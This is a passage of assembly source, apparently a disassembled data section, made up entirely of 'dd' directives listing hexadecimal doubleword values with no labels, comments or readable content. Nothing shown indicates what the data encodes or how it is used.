144ABA49h, 0D0336601h dd 569E7594h, 2288D0h, 2805F60Ah, 63D6D485h, 0AF4C4CEEh dd 51BB0167h, 3EE424AAh, 0F2BA60C6h, 67724B5h, 4EED002Ch dd 0D06CB613h, 0FA41A604h, 3080EC57h, 2C2D9AD4h, 39FBD47h dd 0EE80ACD9h, 64118CC0h, 5C4F6A17h, 3850E027h, 3ABCF3BEh dd 3F01A382h, 72364B47h, 0B42241h, 34112E31h, 4C9242B3h dd 3000F01Ah, 6CE27683h, 2000E39Fh, 1B880CD9h, 0EC2EDA45h dd 0D860F323h, 0C98700A0h, 78D115D2h, 0E77377C1h, 0F88A3Fh dd 9F0838CBh, 0E0351CA9h, 0D9F000FEh, 0F9414D98h, 2A3B1AFCh dd 13900010h, 52D5314Fh, 601E012Eh, 5D802035h, 1F85C40Ah dd 0B1D83Ah, 0DC19F55Eh, 877278h, 466024EFh, 3915DB9Fh dd 0D0F4100Eh, 4D58A168h, 94CC962Eh, 0C831493h, 5400EC15h dd 0E4C0ABCBh, 160026B5h, 0D4C58488h, 30A8562h, 0DAFF76EBh dd 3100AF2Bh, 59EE8857h, 0C6799Ah, 7B403B5Bh, 0F106E1F3h dd 4190E77Fh, 67534900h, 0E2AB2D8h, 164FEC85h, 131E148h dd 0C3D93A17h, 89A0FFD1h, 413B8C6Bh, 0FF7580D6h, 7D504506h dd 0B08A0028h, 5EABF32Bh, 9F01655Bh, 88C01E4Fh, 29D8EA71h dd 47E721Dh, 933FE64Dh, 7970C0CAh, 8600AE20h, 4B37C732h dd 3BAB0CB4h, 490535E1h, 80BA57BFh, 0B39EA968h, 60B759h dd 0EF9DE5E1h, 473CAAh, 37DFC77Ah, 0FB8AE9F0h, 16460F5h dd 0DE2FD916h, 0CE654030h, 0D25800E4h, 0D9D33E4Bh, 0DC0040E5h dd 0DE228EBAh, 9C720F9h, 0F4245E25h, 772AC0A0h, 0C800403Eh dd 0D26D9DE0h, 5C7E5219h, 0D6076C97h, 4FD73FFBh, 632EB780h dd 0CE00DE5Bh, 6D1A31C4h, 0B69EBBBh, 0F5454918h, 0E94BA40Fh dd 0D0376702h, 68D21240h, 904C8300h, 9663F0E5h, 0F20C0017h dd 3975E75h, 6F0E925Dh, 5FBABE2Bh, 3C40C01Ch, 0BFAEAC61h dd 0E0E20F1Ah, 24227156h, 0AFC07FD3h, 2C7E9ADEh, 0FC084E03h dd 0F094A25Fh, 7072EAEh, 4DD1A1C9h, 0FEBDD09Dh, 6F009682h dd 776849E3h, 1CB844h, 25192EB3h, 0F3D472E6h, 713A1600h dd 6511E806h, 31F71CA4h, 195D001Fh, 0CD53CE3Bh, 0EA304C01h dd 2D49CFB9h, 0FE4B370h, 81CA7E0Ah, 44E40053h, 3391139Ah dd 841FF31Eh, 26189901h, 60FA09A8h, 10369ECh, 0FAD5EFB8h dd 0C84A91CFh, 0C40019E8h, 7A73407Eh, 277A101h, 0C08255D1h dd 0E460992Bh, 0D94B0351h, 0F4FD44Bh, 1C14604Ch, 0A88FF79Ah dd 536F6CCh, 582FB3B6h, 0BE6880E0h, 0BB00DB76h, 0A4837A89h dd 7D2F4F8h, 0EB6A076Ch, 53E7006Eh, 0E67C2BBAh, 0F9F35400h dd 948EDE7Eh, 0FD8B01C0h, 0F1E26B59h, 0C158DCA5h, 63C93900h dd 0F9FE099Ch, 0F71009Ah, 0FA93E237h, 0B80FA36Eh, 401B4AECh dd 7EDA8D0Dh, 166707E4h, 80680E62h, 0F4E99A05h, 130AC226h dd 7F31AF01h, 0BDD007FEh, 75BE00F6h, 98203B8Dh, 0FF12A5A8h dd 5404C0B0h, 14B0CA2Dh, 0CD10066h, 6561CF5Fh, 0D5135AC1h dd 0DC0FCBB0h, 6351EFE7h, 0E0354DE2h, 0F22E41B7h, 0FCE000C9h dd 8A6B2404h, 0DE125372h, 0A40113D6h, 4F59907Dh, 981E3C72h dd 46625C63h, 70C1539Ch, 8859B50Bh, 49942023h, 0BC98E5h dd 3F6E0704h, 0D4CE7A1h, 1AA0994Bh, 0D3CD00C4h, 3D18C37Ah dd 0DF005116h, 67F9618Ch, 2EB672CAh, 76465E0h, 9439D14Fh dd 85B89005h, 9C07CA15h, 0F73F98AEh, 87E4A260h, 53F90043h dd 0CEA83EF3h, 9428DF99h, 6B1298D9h, 402AC4Fh, 41180DD4h dd 2870863Ch, 82340BA8h, 2800F4CBh, 0FC8DD13h, 9193D500h dd 56BBEE96h, 0FE60140Ch, 3E04C4DAh, 0C1B40107h, 10EB8410h dd 5CB2C04Ah, 6300B024h, 0A7494370h, 3B000633h, 0E48F2C14h dd 1792453Ah, 19DD91Eh, 0BEBD0134h, 5E4C24ABh, 0B66BC400h dd 0E7BB2210h, 62B70096h, 0B048B1BDh, 75074154h, 3D830ED8h dd 0FDBA8180h, 0F9250352h, 0C758A516h, 8FB3C0C5h, 9F001C09h dd 0B2D740A2h, 128017CBh, 0C29221h, 4CBE3D4Ch, 76006E4Ah dd 2DE227D9h, 0F00455h, 718F2A60h, 4C86F999h, 3BA1C10h dd 0A84BA200h, 0B410B8CAh, 9DCC3Fh, 222EF228h, 3141CFh dd 0E3182CE7h, 46932B13h, 529AB07h, 0DC80C65Eh, 1D3E16h dd 7937032Fh, 0B80E4C2Ah, 279030E7h, 0DE706601h, 6219BE6Eh dd 0E0439C8h, 6A1056D5h, 593D3000h, 0CC4CE1ACh, 7A240020h dd 0D592B173h, 62210044h, 8BC67879h, 1D00A0E9h, 586349FEh dd 1DAB5CFh, 716C5E2Fh, 0D8E379BFh, 700531Dh, 70D6819Bh dd 20A011B3h, 71089649h, 40E679A2h, 0E5A6BBB4h, 0F500437Eh dd 1DE10687h, 7605D94h, 0F1907886h, 0A59AF0ACh, 3B003A02h dd 0D3B62629h, 1887E0h, 1924153Ch, 0FE1E7ACBh, 89AAFF3Ch dd 2C41D42h, 0D80BE88Ch, 4BAE0008h, 76B19BB8h, 24304457h dd 0BA2518B5h, 6E374C72h, 596F900h, 8D4083CAh, 0C3F0770Fh dd 361361F2h, 0EDF48927h, 14752523h, 0D488F400h, 0C3541EA1h dd 0C700F988h, 4E7662CAh, 0B885C46Fh, 5BE218h, 5AB7147h dd 0F233DAE8h, 0ACD55600h, 356FE5C2h, 68543FF0h, 9E95458Ah dd 8FFD0494h, 8EFA2086h, 0D6F512D9h, 0CBB08021h, 5203FB61h dd 0DB800651h, 5AABD00Bh, 3A87E676h, 387A438h, 6F88512h dd 406E8DBh, 105BE9Bh, 88BC50F8h, 57C50099h, 67636174h dd 8A183796h, 5318BF2h, 0AFBB0092h, 0CC913871h, 0C038FF1Ah dd 0A8C9E2h, 14B02B69h, 98A4ED6Bh, 7F4E00F4h, 0A5726FD7h dd 700E654h, 0D19D66CEh, 0B573B0h, 0FFFAB2EDh, 107AEE4Dh dd 913F3000h, 0A281E774h, 0E9E7AB1h, 52463BCAh, 31595E60h dd 0E7000783h, 71BA8734h, 18082F4Fh, 0C8FD9244h, 7F00D111h dd 0AA9FC29h, 0CE77DBh, 0BDF04398h, 213AF9EEh, 4C55F702h dd 0C032D135h, 0AEF467h, 39D8DBCEh, 0BA406D54h, 3E823C5Ch dd 0F23A9358h, 217F5401h, 7C29FAA5h, 231EE400h, 2EA3CC34h dd 7000485Bh, 86C4C1CFh, 0F5080082h, 0D6B4E55Bh, 0DD03B871h dd 75D8ED3Ch, 0A095C30Fh, 3BA2E1h, 88E997EFh, 7B06AC84h dd 0DCADC500h, 0AA241670h, 5DFB0958h, 5C0069C8h, 49934377h dd 0D86E2100h, 6F01AE86h, 423200F9h, 0A2F75AB9h, 40008239h dd 0B63BBE92h, 988F97h, 0C54FC855h, 110FBD03h, 0C46059h dd 3EA7A891h, 1C295434h, 8382715Eh, 0B7E0975h, 2381A488h dd 5E6F712h, 53225D00h, 0FA6B8A6Eh, 3E710074h, 3129E3A6h dd 481C752Ah, 0E06CD217h, 27002826h, 56A30D3Bh, 0EB300F86h dd 0F56069B8h, 0B43125B7h, 0ABFE3902h, 40E2F488h, 2E34E830h dd 9C0BE38h, 9680F8C3h, 0AB5682B6h, 0E5E4CF16h, 3A741E07h dd 0C00BD2C3h, 0FC04D6h, 0C35F852h, 96058622h, 0D0F6500Fh dd 8AB80425h, 281DA081h, 0AC3978E1h, 6BE666C0h, 4F160C87h dd 0AF0FC7F4h, 5D3EE0BBh, 21EDCF2h, 0C69881E4h, 504018DAh dd 0A3007AAEh, 1ADBE94Bh, 0B0CFA0h, 5621C860h, 0E1D58C06h dd 6DF16100h, 0DACCB86Ch, 17C41885h, 387D2801h, 73D8EC00h dd 3DC7ACFFh, 5A6C0199h, 18E390E2h, 0C06DCD0Ah, 93DDB7Ah dd 3F963D9Ah, 0B7D800ACh, 7C0F5633h, 40160066h, 0CC056B21h dd 0EEEACED3h, 0E25BA800h, 0AF9B678h, 792C00A5h, 0FE8A6F47h dd 8F4AB137h, 91809084h, 2352AAh, 10583C43h, 1A5D9720h dd 0EC003FE6h, 5FA90D7Ch dd 42D2AAEh, 0C06C1573h, 0F180BF8Eh, 0B2D4C841h, 5CA00248h dd 17EEC524h, 47D558E0h, 3C30C25Ah, 0F69165h, 125D24FBh dd 0C97C760Ah, 93687F17h, 16B7E420h, 62C100A4h, 0D93C5397h dd 8E00EC1Dh, 0D6300841h, 71105C3h, 0D7D02729h, 0A6026136h dd 0AB2180EBh, 6053D232h, 5E9400CAh, 2D1AC251h, 34EBC6F0h dd 9B0F965Ch, 8034F4E3h, 0AF7BECCBh, 0A1980365h, 3E329FCCh dd 0C087E1FBh, 0F77A29F6h, 0F1342400h, 5789EBB0h, 7130000Bh dd 0E3E2909Bh, 50015D6h, 0B05382A7h, 77C3A6AEh, 24CC0075h dd 0E1E21C5Ch, 0E318F01Eh, 0AE80E55Fh, 479C00C1h, 0F792A74h dd 7B00C820h, 7D2D232Eh, 0C0CF4A13h, 0DE6CE721h, 7B5C223Ah dd 7F720158h, 0C6CBCE91h, 0CDF11080h, 0A70D74D0h, 54FC6A5Ah dd 5E77A100h, 97812586h, 5EE48B24h, 0C88C0F00h, 0D8A30Ch dd 1F3516FBh, 15202274h, 0BBE45409h, 69400031h, 0B0F0BD3h dd 856E7081h, 3AEDC080h, 5A1EA8DAh, 81E4216h, 0C483933Ah dd 0F6602001h, 12C4FCADh, 0B0A30111h, 3EB22839h, 24022E96h dd 412450ECh, 19D8CD60h, 2151000Ah, 0E8E1939Eh, 420779D5h dd 0ADD74DEBh, 64063030h, 21B700D9h, 5798609Bh, 791F22FFh dd 994268BEh, 40326149h, 1A89E4h, 0BA3BE681h, 0CE984A86h dd 9282301h, 0C075DC63h, 2690A1F8h, 42D4FB26h, 770011F5h dd 284C3603h, 7D8A945h, 397E0206h, 1802492Ch, 82299A3Dh dd 0F0F3738Ah, 982400A8h, 5CDEB57Bh, 0CF5BBF45h, 7359CC02h dd 18540Dh, 2CCAE636h, 0CE0C3A1Bh, 1898DEEAh, 63913C18h dd 70800180h, 1F5DC656h, 42B10800h, 0C81D39AFh, 50B06049h dd 0FEAE23CAh, 2D938C00h, 67C94D32h, 0FF8100C1h, 8990EFA0h dd 0AD002842h, 8584CF94h, 16F216FAh, 3C671Bh, 15B87CDDh dd 3D038166h, 88753060h, 0A0A7FBAAh, 0FF4279Dh, 0D44F3158h dd 0C70260A0h, 6800FE10h, 52FF3F6Eh, 1A6CC39h, 6AB815C4h dd 0C02CA05Fh, 0F905107Dh, 1ADD5CD0h, 0B09868B0h, 3B860285h dd 0C45EA2F8h, 38C18CE0h, 87A6243Eh, 0B93F3AEh, 0AA8A7F40h dd 0D37C28h, 9662BA15h, 9DE2999h, 6CBC1300h, 44D4B093h dd 475C0568h, 0F4E552D7h, 570346A8h, 3A9F82Eh, 0E67CC0C8h dd 0EBE9001Dh, 319D3277h, 0B195E7B5h, 63D82D14h, 0E5AF00CCh dd 5DB0E09Eh, 0F50B7ACBh, 41FC8CF2h, 7CFC0F7Ch, 0CD8F0758h dd 90341144h, 95193E14h, 208625Ch, 4736D507h, 0C95160C6h dd 4FCF0030h, 0DAAF31B8h, 0A60E28EAh, 0DC824297h, 6E40380h dd 9B1C38h, 9E01AAD9h, 70FA58E8h, 8E0A420Eh, 0AB3140DCh dd 36C545h, 2E51543Dh, 26CBFF2Fh, 84E9BD00h, 0FD1B5976h dd 0CCFAB3h, 29D42C48h, 6CEFB868h, 0A00DD700h, 8FBA4211h dd 64D11ECCh, 0CADA42C3h, 8C58FF85h, 8000497Fh, 0B0F5334Eh dd 1FA0AD0Bh, 0C0A89C84h, 0A150B538h, 0D9F0DDDAh, 0B9512407h dd 0A301C9F5h, 54DC2522h, 0DCDB004Dh, 4B3AE69Fh, 0C90CF753h dd 80DAA4E8h, 779A024Fh, 0E3B321ECh, 0F4620848h, 0E101FD00h dd 0C3E08509h, 0A7830E38h, 8012A360h, 0E3AF7DACh, 2155E803h dd 0A34DEC9Ch, 9BA370h, 0CEFDE2B8h, 1795486Fh, 0B030CB7Bh dd 807D502Ch, 25A41FE3h, 0E010CEAEh, 10BA560h, 3D6EC3DEh dd 86505821h, 92AEF2A4h, 0B3AB07E4h, 0D039951Ch, 86C20DDh dd 0FE1D3F00h, 0B12C4446h, 0FD690075h, 8805B76Fh, 73098F9Fh dd 19A5AB3h, 0FBBE3CBDh, 72F0DE8h, 0CCAF33Dh, 7317303Fh dd 65055570h, 22E534A2h, 0EB2930C0h, 7C720008h, 6B372412h dd 23301374h, 0A43504A6h, 5DB810h, 864BDF9Dh, 0C55DABA8h dd 4AECCA00h, 0DA557FD1h, 83C20E16h, 1078BF49h, 69F0AC77h dd 8D996C17h, 0C7829440h, 3AFD3DE0h, 818CB848h, 0B3082060h dd 327E21C0h, 4AB53Dh, 8FD1DCA1h, 0BE332969h, 43500B63h dd 2028626Bh, 0AE11C808h, 987209DEh, 879E837h, 0D3D12080h dd 6F4300BEh, 0C0BCAE8Bh, 700C931h, 0ABA170DEh, 0F0FC96h dd 7B752AA5h, 3E38EA33h, 0EDDD9A01h, 1104D7CDh, 518024D5h dd 0D684A1C5h, 200715ECh, 21BD5AE4h, 217346h, 3B849928h dd 4E311C29h, 48033934h, 0C505A480h, 4BFA052Dh, 0FF1B55Eh dd 85063930h, 0EC0F1054h, 0AFD39141h, 307680EBh, 0B9D1EEh dd 75B4ABF9h, 0BAE12BCEh, 672D0900h, 5A0B4916h, 0A520F8Ah dd 1400CBE7h, 544A716Bh, 313FAE7Bh, 3EA60088h, 0EA23FA0Bh dd 99D13B3Bh, 39F8BD1Eh, 0FD00E338h, 19B932Dh, 6F00EE02h dd 3461FB10h, 0F7AA51h, 0C530CBEFh, 4F8A8494h, 7BF5D70Eh dd 4232E32Dh, 8D63A8D9h, 0FAD4007Dh, 6A08F241h, 9500A12Eh dd 14ECDEAEh, 0C1EECE9Eh, 0F122FC38h, 0C9F06FC9h, 2AAD3CF0h dd 1CE0C107h, 6ED68014h, 0FB3C0F94h, 0BE7E0CD9h, 3071F2h dd 4B544863h, 0C03B6E9Ah, 280EF433h, 405C906Fh, 56BD00B0h dd 870358D8h, 890001E0h, 91966DAh, 302772DEh, 8F98CD62h dd 0F3035F75h, 0B02C6FAEh, 0EF76A828h, 0CB8B8E6h, 2980B6ECh dd 7E00AC18h, 8B3A053Bh, 72A717C1h, 8073D64h, 22688A05h dd 0B3D70970h, 0DA4E9A80h, 697C42E0h, 0D1DD0F1Dh, 118B64C0h dd 1838861Bh, 0EA54ABA6h, 32C04ABDh, 0C0A56D67h, 0C42900F9h dd 60239807h, 7700CB91h, 3540D499h, 2EEAAF41h, 1F1E89h dd 0D398CAEDh, 9C391348h, 9DF1946Bh, 3EE8AA04h, 0DA53CE00h dd 0F056228Dh, 86D43977h, 0F16A370Fh, 8FE00F3h, 52B88C63h dd 0E34A271Eh, 0D000211Dh, 3B7CDA2Bh, 63DC1249h, 0A81F7Fh dd 47C0123Eh, 0D90E9E0Fh, 809FBC2Ch, 0C7722548h, 0F78EA8Fh dd 52B07BDEh, 87FF8D8Fh, 80C145B3h, 361172C2h, 0C3DB2700h dd 0C6961026h, 300EEAADh, 0D5B8EE85h, 2F00015Bh, 8EECAA8Dh dd 0DB6BA9h, 3561A0BBh, 0A6787A0Fh, 1E640F9Ah, 8F218829h dd 9EFE119Bh, 48078417h, 0A8604284h, 0E2210224h, 62201105h dd 119D2211h, 0E112526h, 7EDC110Ch, 0D8945210h, 2804DD83h dd 0B84A0DC3h, 7D860814h, 0CC84AE90h, 60F444F3h, 29115A5Bh dd 0AD389FF2h, 2284D044h, 96227FDFh, 1BF52229h, 39280C42h dd 119A4250h, 0A83119ECh, 0C49F1D29h, 9D7CF804h, 94020A00h dd 950917BAh, 0B279A6h, 7536B369h, 74F275Eh, 493D4C74h dd 21290005h, 7BC13E0Dh, 717EA14h, 50C5D847h, 12053046h dd 8E0E20BCh, 0E124EC80h, 0E063E36Ch, 0B025FCh, 0F919EFDCh dd 43E94D8Ch, 0ABB860F0h, 234CE300h, 1BE05578h, 0D18E12C6h dd 6E140068h, 3BE45937h, 0DAC30103h, 89BE2CD5h, 0FAFC634Ch dd 93A40CCCh, 54581488h, 2200947Bh, 0A7A8397Dh, 0C89FDFh dd 9EB8663Dh, 0A90E3782h, 2474D83Eh, 7981A0FDh, 423376B5h dd 3BE6370h, 116339F6h, 0D8C00CE0h, 71C0F319h, 1396E23Ch dd 0E0C37AAEh, 0AF1500FEh, 0A9FDF4A7h, 2C0E141Ah, 0F72DDE8h dd 0A04D0E5Ah, 9B907DD4h, 5CF01CA8h, 546440A3h, 7153875h dd 6F657918h, 9FE30h, 0EAE74A5Eh, 5F8B2E45h, 0E3310F00h dd 0F6A8B171h, 1B920019h, 0B5E6B4D7h, 0DB00DDD8h, 0C08E2812h dd 0F0BBFDBAh, 8AE667h, 9CACFFA4h, 9F4D66A3h, 11B4E307h dd 0D400448Ch, 1B2868Eh, 0A65A35ECh, 0C8B31CB0h, 7B007C9Eh dd 0B676140h, 0E09D62h, 488D0D8h, 68546A84h, 301DA807h dd 252DA94h, 0B5A081FAh, 82C1387Fh, 6CEC36F5h, 673F1433h dd 960086Fh, 0E2B5BE5Eh, 0B68B0B2Ch, 2080011Dh, 0A766EDF8h dd 64ECFDh, 792CCA65h dd 8CDD3B74h, 1ED0111Fh, 8ADAC542h, 6A9483DCh, 9A4E80CAh dd 0BCD7287Ch, 0D3000CCh, 21F252Bh, 0B0355A6h, 24B75476h dd 0DFA8C8EBh, 9E280EE0h, 448F63E7h, 0A7B27C61h, 0A83200Bh dd 514C500h, 0CF7D7E57h, 0F53E001Eh, 0F2B81CC2h, 0C50198FFh dd 1356ADD5h, 0C6D5BAC8h, 0A072A2F4h, 92CDA80h, 5E9CECC3h dd 54DE7C00h, 0A26078DFh, 0F6AAE0B1h, 399677F1h, 37739F2h dd 837E0D11h, 0CAA0F063h, 0AC01D4CFh, 0E492AAF4h, 2C20E268h dd 0A5FD0081h, 0C11969F6h, 0FA0274C4h, 769257C8h, 5ED160DDh dd 4C4200D6h, 8E2C4472h, 30082BDh, 4A187D32h, 1F17CA63h dd 7154683Ah, 0FCC9F2E8h, 8D28B43Bh, 2A00C927h, 757EF7BAh dd 7F6377C5h, 0EF590316h, 176D3A6Eh, 6996B5A0h, 0FADE9B3Fh dd 3FBE6648h, 5FDC9EA4h, 62681E40h, 7FD835ADh, 990B013Ch dd 0C1C0F2C8h, 2CA8D3BCh, 8302EF09h, 618B435Fh, 0E09C8087h dd 35067A5h, 9ABDBBC7h, 0B588B8CDh, 0C10797F6h, 95B381CEh dd 0DF00BFE7h, 0F8A575E1h, 0F68F71E7h, 774700EFh, 72D88E7Ah dd 0B69084B4h, 6704810Fh, 0D70EC0AAh, 0F29592h, 0CEF00982h dd 0D4C2ECA0h, 404DC400h, 0DE192BE0h, 0B64A0EE4h, 0CE032B4h dd 0C7859571h, 18B97E09h, 9A748021h, 24A4B29Bh, 3C75A09h dd 3239207Bh, 0FFDA6F98h, 88527100h, 418A6ABAh, 6B0E0069h dd 309AE68h, 2D044AF1h, 51C063DDh, 9F6CE480h, 0D81358D8h dd 0C05D561Fh, 279634EDh, 0E4B09EF4h, 9AC22600h, 7F8F5569h dd 42D00DBh, 0D48AE0FEh, 6A00BD7Eh, 845878EFh, 481C2Ch dd 0CC1ED108h, 0A4C692ABh, 0EB7BF800h, 14895194h, 0D870CBh dd 77C7F0D0h, 633D0B99h, 6534F900h, 62D7C0Eh, 357B85h dd 0B2ADE4C2h, 0C53F8CFh, 3F5D9100h, 0D2D66CF3h, 2AE002DBh dd 0BC19BA71h, 5E933C60h, 45007A79h, 0A8474450h, 0FE8C7713h dd 1EB7000Bh, 0DEA68B0h, 0BA3A0A86h, 96FE80AAh, 3D53CD54h dd 68D1F8Ch, 44740EDh, 0E0FC65Ah, 6B090876h, 800B52A6h dd 0B0A8B4CCh, 3F8C1C19h, 3C864F1Dh, 0A3800600h, 8B62F7B1h dd 60F44509h, 3AA42FBEh, 0A60064B4h, 5A23808Ah, 24007BCEh dd 0DE5E0C43h, 0A815E6h, 0C7792939h, 0F4EED9F2h, 2A6AC601h dd 80DCB1E0h, 7A126F0h, 0E6275B8h, 171FC0FDh, 5200B325h dd 0BE9D112Bh, 1210FA67h, 3D47978h, 0E33436ACh, 7B60FBC2h dd 0F3006813h, 79B5C5DFh, 13BA9F4h, 0D22EAD33h, 306A1B29h dd 5A3D070Ch, 1A5BA8Dh, 9A1A8778h, 5080A4C3h, 2D83FDA2h dd 1005A025h, 0B7CFB185h, 0FA392F80h, 0D9760E59h, 56A0C9BFh dd 6879FB72h, 6535700h, 910710Bh, 97F8009Fh, 18E7CDE0h dd 0DD9890F4h, 0BD05B41Eh, 0CC0FA780h, 0EE2560A0h, 0CBFB00BCh dd 2E4CF593h, 0D125FC13h, 3C3483BDh, 0A06CBBCEh, 66D7DCh dd 0F172CD3Ah, 6ADBD834h, 0CFF43E00h, 0EDB26BDEh, 97C100CAh dd 933BB055h, 0D313D857h, 90002DF9h, 0DA9867E6h, 0D480489Eh dd 0BA18FE00h, 3CEFD6D2h, 319B0A00h, 36618E7Ch, 9F2500B3h dd 7529496Bh, 0EF1F7473h, 0EED2C171h, 27803C1Eh, 3B7F4E4Bh dd 819D1E77h, 0EABF006Ah, 0E0994AA6h, 0F14CB800h, 0F54440E8h dd 3B8F3FE3h, 4A23178Bh, 30C0548Fh, 9EEEB5D2h, 0B4AAF000h dd 0EA829318h, 8B91007Fh, 0AE34191Dh, 957D7DE8h, 0B0AC1E00h dd 0B5FDCF21h, 0BD0100D9h, 26078B4h, 231E5E0Ah, 8F5F338Bh dd 9400BB13h, 189F9BFEh, 0CC7A3CD5h, 0DA5AD409h, 4E39500h dd 0CF0070CDh, 0CD293DDh, 3886650Bh, 0E400422Dh, 0B0EF32AEh dd 9C39DDF0h, 18A8EE9h, 1AE3C077h, 70FDB803h, 0A5CA0026h dd 63EEBD2Fh, 110013CDh, 44617E55h, 0EC25A780h, 0D3890010h dd 17BF549Fh, 0DA98568Bh, 0F0485100h, 5307B147h, 5C5A00D2h dd 99700E41h, 2F074EB5h, 750AE33Eh, 8C826B90h, 173FC24h dd 0FC5E63F0h, 403A2328h, 857A39D0h, 7F24E002h, 0E83EE683h dd 77725F8h, 4B26F79Bh, 0BF60A087h, 5A3A149Ah, 100E0096h dd 18069D69h, 0FE950431h, 0C0CB7913h, 41771153h, 0B981C502h dd 0CB3785BBh, 732B9894h, 5DF1E075h, 510BBCFBh, 80A154h dd 0D5844A2Ch, 75243100h, 0D9B1DD89h, 24044C14h, 79959001h dd 209B2852h, 98002969h, 966FBB12h, 0C066C810h, 0F4B02009h dd 9002938Ah, 822888FCh, 86808416h, 0F0BF0C90h, 2CA7C30h dd 85399AAFh, 5052B99Dh, 5053315Ch, 123F53E0h, 0C6A3802Ch dd 0DE303E48h, 18F65CBAh, 4E0D1Ch, 7EE6DA29h, 0E812C42Ah dd 4A1BEF67h, 96090011h, 0A29C1ADFh, 9A01010Fh, 4E0B5DC0h dd 97E4B1BAh, 0CD0C0EA8h, 0E80BF3C1h, 0A5A49887h, 535C8868h dd 790A42B0h, 9845EC1Bh, 3B5AF500h, 1ECCA8h, 14D59CC5h dd 61CE782Bh, 1224C338h, 8080DE9Eh, 7304505h, 0EFFAD15Ch dd 0D7C5623Fh, 755C080h, 0F51E1259h, 0E440405Fh, 83783613h dd 0FA190321h, 4B80FE35h, 283D1EA8h, 0A600B2F8h, 9126BB97h dd 3D2A0723h, 0E5257BA1h, 824CC000h, 0F4A080D3h, 54090C6Ah dd 6039F51Ah, 0D0F03Ch, 5FADBE72h, 3FAC2956h, 8F2B38CFh dd 94096149h, 0CC6076B2h, 0CC88C03Dh, 82AA8EC4h, 0CA3B1503h dd 0F7AB1C6h, 0A724A520h, 0AC55C820h, 837BD50Ah, 858A883Ah dd 82CCF747h, 1A28E000h, 0B07A6609h, 984101E0h, 7B56126Ch dd 0BA5C70CDh, 2811B003h, 9B2F1C9Fh, 2966E0C5h, 42DC0082h dd 84E8BCCCh, 0D70F7330h, 5D71467Bh, 867200BFh, 0BE2B635Ch dd 0A2020204h, 487688F5h, 9873D080h, 0D20065ADh, 3C85C1E5h dd 3F7832A6h, 0DB810916h, 0AC6B11A4h, 6FC44001h, 4D00D381h dd 2E3A043Fh, 0D6401Ah, 6380A45Bh, 0A2394698h, 0B2F02F00h dd 0FD5E0935h, 0EF133B93h, 21705D30h, 41004F08h, 3A4D5AFEh dd 603BB620h, 0A43840A5h, 47161B22h, 7600D8D4h, 0F0A0BD89h dd 0CFDF009Dh, 0C95159CAh, 191F1199h, 0E06E45F9h, 0DE0C8100h dd 247CB9Eh, 2DBC5388h, 0A48540D2h, 7419C14Ah, 0BBF2864Dh dd 0AE23AEh, 7CA04025h, 3DE45127h, 6600FC72h, 0A732951Eh dd 9B8759h, 0C598911Fh, 836A07D6h, 40564B00h, 3206B273h dd 7BBE0225h, 0A9752A2Bh, 7AF5F6E0h, 0AA2FB100h, 0EE6DC31h dd 0FAB0039Eh, 682A3D9Ah, 8F245E99h, 2C6C3509h, 0D3F89Fh dd 2B1CCEDFh, 156022DDh, 0B25DF100h, 7717EDC6h, 9C7300A4h dd 704A64E2h, 767B46E0h, 61D88E0Fh, 0ABB7AF9Dh, 35F0056Dh dd 7B8A5C81h, 93A1192h, 3083F627h, 4A9051C3h, 0EDEAE809h dd 0F73FD0E6h, 0E74F873Fh, 0B3007B5Bh, 0E1EE12F9h, 119C1180h dd 0A8394E07h, 0F195050Ah, 2400CCB5h, 8998BF52h, 25F013EEh dd 79C80FDh, 3900D2F2h, 2229786Ch, 0EAF391h, 0BFBB04ABh dd 0E95F3587h, 0DFDAB707h, 1870FEC0h, 9079AE71h, 7D7FC4h dd 9BFC5853h, 80CFC702h, 0D1586D60h, 0F41AC0Dh, 470650B9h dd 41C6125Fh, 0DDADF408h, 0F811C8CEh, 6ABA9B07h, 67211A5Ah dd 54240128h, 7A13000Bh, 233D140Dh, 2100A7CCh, 69CF8278h dd 3D0F05CDh, 0C8802D72h, 6B64BA81h, 0AB0EF328h, 80B3D407h dd 932588A4h, 7EC61915h, 0D094F1DDh, 65096E50h, 80F9E7B7h dd 610FC665h, 40F50953h, 0C107D7DFh, 0C85A60h, 2AC42294h dd 681F4CDDh, 198098CDh, 1AB08130h, 0DE8F0324h, 44BE8993h dd 0B31FE5C8h, 38D4DA2Ch, 0FC6EEE00h, 1C857Eh, 84BF730Fh dd 0C613F741h, 4C90FD75h, 29446307h, 0D4E0AF14h, 9A22C7E3h dd 6AE61678h, 9A01E21h dd 188943C4h, 308A6461h, 0B1059D18h, 3FE99610h, 7EA9AC0h dd 16D9002Eh, 0F4D74B65h, 0B7002FAEh, 3594F6FFh, 787D805h dd 6C4E859Fh, 0C01B9BDh, 213FE503h, 0CC6D0D8h, 0FDB28213h dd 44664C0h, 0E5D004Ah, 0F7A5C980h, 36F0B090h, 723C33Dh dd 9F32652Ch, 0D4D5409Fh, 66FEEBh, 0CAE104Bh, 0F1B74D6Eh dd 3EFBBCA8h, 0CF73C500h, 5A24DE1Eh, 4360F366h, 84B1266Dh dd 77ED017Ch, 0E8DA634Ah, 0F400DDCCh, 103E5C7Dh, 0A00638CDh dd 3A69C8h, 855A469Ah, 332C86A0h, 98A62400h, 0B54B214Ah dd 0D09760D7h, 8E7C9E6Bh, 3127E200h, 0D337A806h, 0C9E7016Eh dd 0D256FC7h, 0E821E034h, 0EF5627h, 0FE4FEEC4h, 831E0043h dd 3BC5C409h, 9E1857CDh, 0C050756Bh, 970C00B0h, 0A15D1B7Eh dd 3B3814D7h, 0FE068720h, 88606986h, 5B9D408h, 0D641166Ch dd 0DB5C90C2h, 275C4BC9h, 7EF00080h, 0DD3BFFAh, 1378002Dh dd 3926A55h, 62E43B59h, 0C7D5A500h, 1C01D8F2h, 647F3D5Dh dd 0EF2A7C0Ch, 0FCA14C51h, 10C3C1Eh, 4372563Ah, 98208EC5h dd 1209165h, 30CDD1EDh, 0B1F49766h, 0A21D7F0Fh, 0E8F51CFEh dd 0B019C494h, 382D05DAh, 27407837h, 0DC1190D8h, 5407527Fh dd 0C01768C9h, 97A09953h, 2A0F27F0h, 8297038Dh, 298679C8h dd 0FACBE888h, 3D7FDE0Fh, 0E48A6054h, 0B8A19919h, 2F3C1E68h dd 85230301h, 4198FF0Ch, 0D8033040h, 6363FBDh, 863C9042h dd 0C51200CCh, 0B57E7B77h, 0D300E3FBh, 2E6F7D27h, 737897h dd 0B774EC4Eh, 0F5CF328Fh, 0D6936B00h, 0C46377C3h, 1DC80001h dd 0BA72ED90h, 240F7BA3h, 24D4A7Dh, 70AE8474h, 0C2050EECh dd 87208A8Ch, 0C037A4B5h, 4D675800h, 